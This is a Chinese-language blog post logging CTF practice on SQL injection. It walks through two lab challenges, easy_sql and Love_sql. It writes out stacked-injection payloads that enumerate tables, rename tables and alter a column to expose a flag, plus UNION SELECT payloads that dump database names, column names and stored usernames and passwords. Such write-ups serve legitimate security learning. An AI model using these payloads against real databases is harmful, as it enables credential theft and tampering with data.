天天看点

ctf每日练习-第四天

今天的内容主要是sqli,好几天没写首先因为这几天刚开学事情比较多,二是因为这几天一直都在学习,刷题反而不是很多,今天和同学去图书馆学了一波,感觉收获很大。

easy_sql(来自攻防世界web进阶区)

题目链接: easy_sql.

首先我们尝试一个单引号,报错

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1

可以判断sql语句应该是 =’ input’

尝试用1’–+注入,发现被过滤掉

尝试用#,成功

用order by 判断列数为2

ctf每日练习-第四天

用select语句发现被过滤了

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

尝试堆叠注入:

查询所有库

ctf每日练习-第四天

查询所有表:

ctf每日练习-第四天

查询这两个表内的字段

1';show columns from words;#
           
ctf每日练习-第四天
1';show columns from `1919810931114514`;#
           
ctf每日练习-第四天

这里可以判断默认查询的是words这个表,我们通过改名字把数字名字表改为words然后把flag字段改成id

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; 	alter table `words` change `flag` `id` varchar(100);#
           
ctf每日练习-第四天

Love_sql(来自buuctf 极客大挑战2019)

1’ or1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata #

ctf每日练习-第四天

1’ or 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’ #

ctf每日练习-第四天

1’ or 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ #

l0ve1ysq1

ctf每日练习-第四天

1’ or 1=2 union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 #

ctf每日练习-第四天